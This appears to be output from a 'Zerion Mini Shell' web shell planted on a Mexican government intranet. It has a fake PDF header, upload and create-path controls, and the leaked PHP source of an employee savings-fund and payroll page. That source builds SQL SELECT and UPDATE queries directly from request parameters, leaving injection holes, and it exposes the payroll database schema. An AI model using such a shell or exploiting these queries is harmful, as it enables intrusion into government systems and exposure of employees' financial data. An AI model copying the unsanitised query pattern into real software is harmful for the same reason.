%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/content_fondo.php

<?php



    $id_usuario	    = isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] :  $_SESSION['id_usuario'];

    $conf = new Configuracion();

    $conf->conectarBD();

    

    $firmaQ = ' 1 = 1 ';

    if($_SESSION['id_estatus'] == 6)

        $firmaQ = ' firma = 0 ';

    $firmaQ = ' 1 = 1 ';

    

    $noti       = isset($_REQUEST['noti']) ? $_REQUEST['noti'] : 0;

       $anio       = isset($_REQUEST['anio']) ? $_REQUEST['anio'] : date('Y');



    $consulta = "SELECT n.anio, n.quincena, n.ruta, n.nomina_pdf, n.nomina_xml, n.fecha_registro, ff.folio, ff.porcentaje, e.num_empleado, e.nombre, e.apellido1, e.apellido2 FROM tjam_nominas n INNER JOIN tjam_empleados e ON n.id_empleado = e.num_empleado JOIN tjam_empleados_fondos ff ON (ff.no_empleado = e.num_empleado) WHERE e.id = $id_usuario AND n.anio = $anio AND ff.anio = $anio AND $firmaQ AND quincena NOT LIKE 'PV%' AND quincena NOT LIKE 'AG' 

        UNION

        SELECT $anio AS anio, CASE WHEN DAY(fe.fecha_registro) <= 15 THEN (MONTH(fe.fecha_registro)*2)-1 ELSE MONTH(fe.fecha_registro)*2 END AS quincena, 'Entrega' AS ruta, 'Parcial' AS nomina_pdf, (fe.cantidad*-1) AS nomina_xml, fe.fecha_registro, ff.folio, ff.porcentaje, e.num_empleado, e.nombre, e.apellido1, e.apellido2 FROM tjam_empleados_fondos_entregas fe JOIN tjam_empleados_fondos ff ON ff.id_fondo = fe.id_fondo JOIN tjam_empleados e ON ff.no_empleado = e.num_empleado WHERE e.id = $id_usuario AND YEAR(fe.fecha_registro) = $anio

        ORDER BY CAST(quincena AS SIGNED) ASC";

    $rst1 = $conf->consulta($consulta);



    $error	    = isset($_REQUEST['error']) ? $_REQUEST['error'] : '0';



    include 'modalFirma.php';

?>



<div class="page-content">

    <a href="../recursoshumanos/page_find_personal.php" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a> <br><br>

    <div class="row">

        <?php

            //En caso de venir de una notificacion

            $ip = $_SERVER['REMOTE_ADDR'];

            if($noti == 1){

                $sql1 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/usuarios/page_nomina.php?noti=1' AND id_empleado_dest = $id_usuario";

                $rst2 = $conf->actualizacion($sql1);

            } else if ($noti == 0)

            {

                $sql2 = "SELECT * FROM notificaciones WHERE url='sistemas/usuarios/page_nomina.php' AND id_empleado_dest = $id_usuario";

                $rst2 = $conf->consulta($sql2);

                if(count($rst2) > 0)

                {

                    $sql3 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/usuarios/page_nomina.php?noti=1' AND id_empleado_dest = $id_usuario";

                    $rst3 = $conf->actualizacion($sql3);

                }

            }

        ?>

        <div class="col-md-12">

            <div class="panel-group">

                <div class="panel panel-info">

                    <div class="panel-heading"><?php echo 'Fondo de ahorro de: '.$rst1[0]["nombre"].' '.$rst1[0]["apellido1"].' '.$rst1[0]["apellido2"].' Folio: '.$rst1[0]["folio"].' Porcentaje: '.$rst1[0]["porcentaje"].'.'; ?></div>

                </div>

            </div>

        </div>

        <div class="col-md-12">

            <div id="generalTabContent" class="tab-content">

                <div id="tab-messages" class="tab-pane fade in active">  

                    <div class="portlet box">

                        <div class="portlet-header">

                            <div class="caption">Control del fondo </div>

                        </div>

                        

                        	<form name="hipervinculo" action="" method="post" enctype="multipart/form-data">

			        	<div class="row no-print">

				        

				        	

				        	</form>

                        <div class="portlet-body">

                            <div class="row mbm">

                                <div class="col-lg-12">

                                    <div class="table">

                                        <table id="table_id2" style="border-bottom:1px solid #ddd"

                                               class="table table-striped table-bordered table-hover">

                                            <thead>

                                                <tr>

                                                    <th>#</th>

                                                    <th>Año</th>

                                                    <th>Quincena</th>

                                                    <th>Fecha</th>

                                                    <th>Abono</th>

                                                    <th>Entregado</th>

                                                </tr>

                                            </thead>

                                            <tbody>

                                                <?php

                                                    $estatus = array("danger","danger","danger","danger","danger","danger","warning","warning","warning",

                                                                    "warning","warning","warning","warning","warning","warning","warning","success","success","success","success","success","success", "success");

                                                    $sumaTotal = 0.0;

                                                    for($i = 0; $i < count($rst1); $i++)

                                                    {  

                                                        $sumaFondo = 0.0;

                                                        echo "<tr align='right'>";

                                                            echo "<td>".($i+1)."</td>";

                                                            echo "<td>".$rst1[$i]["anio"]."</td>";

                                                            echo "<td>".$rst1[$i]["quincena"]."</td>";

                                                            echo "<td>".$rst1[$i]["fecha_registro"]."</td>";

                                                            if ($rst1[$i]["ruta"] != "Entrega")

                                                            {

                                                            $xml=simplexml_load_file($rst1[$i]["ruta"].$rst1[$i]["nomina_xml"]);

                                                            foreach ($xml->xpath('//cfdi:Comprobante') as $comprobante ){

                                                                $SubTotal    =   formatMoney($comprobante['SubTotal'],2);

                                                                $Descuento   =   formatMoney($comprobante['Descuento'],2);

                                                                $total       =   formatMoney($comprobante['Total'],2);

                                                                $fecha       =   $comprobante['Fecha'];

                                                            }

                                                             $valor = 0.0;

                                            foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Complemento//nomina12:Deducciones//nomina12:Deduccion') as $Traslado){ 

                                                           if($Traslado['Clave']== 'D005' or $Traslado['Clave']== 'D006')

                                                           {

                                                                $valor = (float)$Traslado['Importe'];

                                                                    

                                                               $sumaTotal += $valor ; 

                                                                $sumaFondo += $valor; 

                                                                

                                                                

                                                           }

                                                        } 

                                                              echo "<td>".formatMoney($sumaFondo)."</td>";

                                                            }

                                                            else

                                                            {

                                                                echo '<td></td>';

                                                            }

                                                        if ($rst1[$i]["ruta"] == "Entrega")

                                                        {

                                                            echo "<td>".formatMoney($rst1[$i]["nomina_xml"])."</td>";

                                                        }

                                                        else

                                                        {

                                                            echo '<td></td>';

                                                        }

                                                        echo '</tr>';

                                                    }

                                                     $num_empleado = $rst1[0]["num_empleado"];

                                                        

                                                     $sqlFondo = "SELECT SUM(fe.cantidad) as cantidad, fe.fecha_cheque FROM `tjam_empleados_fondos` f JOIN tjam_empleados_fondos_entregas fe ON ( f.id_fondo = fe.id_fondo) WHERE f.no_empleado = $num_empleado AND f.anio = $anio ORDER BY fe.id_fondo DESC";

                                                        $rstF = $conf->consulta($sqlFondo);

                                                        $sumaEntregada = $rstF[0]['cantidad'];

                                                        $fecha_cheque = $rstF[0]['fecha_cheque'];

                                                        

                                                    echo '<tr>

                                                    <td colspan="4" align="right"><b> SUBTOTAL </b></td>

                                                    <td align="right"><b>'.formatMoney($sumaTotal).' </b></td>

                                                    <td align="right"><b> -'.formatMoney($sumaEntregada).' </b></td>

                                                    </tr>';

                                                         

                                                    echo '<tr>

                                                    <td colspan="4" align="right"><b> EN CUENTA </b></td>

                                                    <td> </td>

                                                    <td align="right"> <b>'.formatMoney($sumaTotal - $sumaEntregada).'</b></td>

                                                    </tr>';

                                                    

                                                    $en_cuenta=$sumaTotal - $sumaEntregada;

                                                    

                                                    $conf->desconectarDB();

                                                ?>

                                            </tbody>

                                        </table>

                                    </div>

                                </div>

                            </div> 

                        </div>

                    </div>

                </div>

            </div>

        </div>

    </div>

    <script>



        $(".passingID").click(function () {

            var ids = $(this).attr('data-id');

            $('input:hidden[name=id_nom]').val(ids);

           

            $('#modal_firma').modal('show');

        });

    </script>

</div>

Zerion Mini Shell 1.0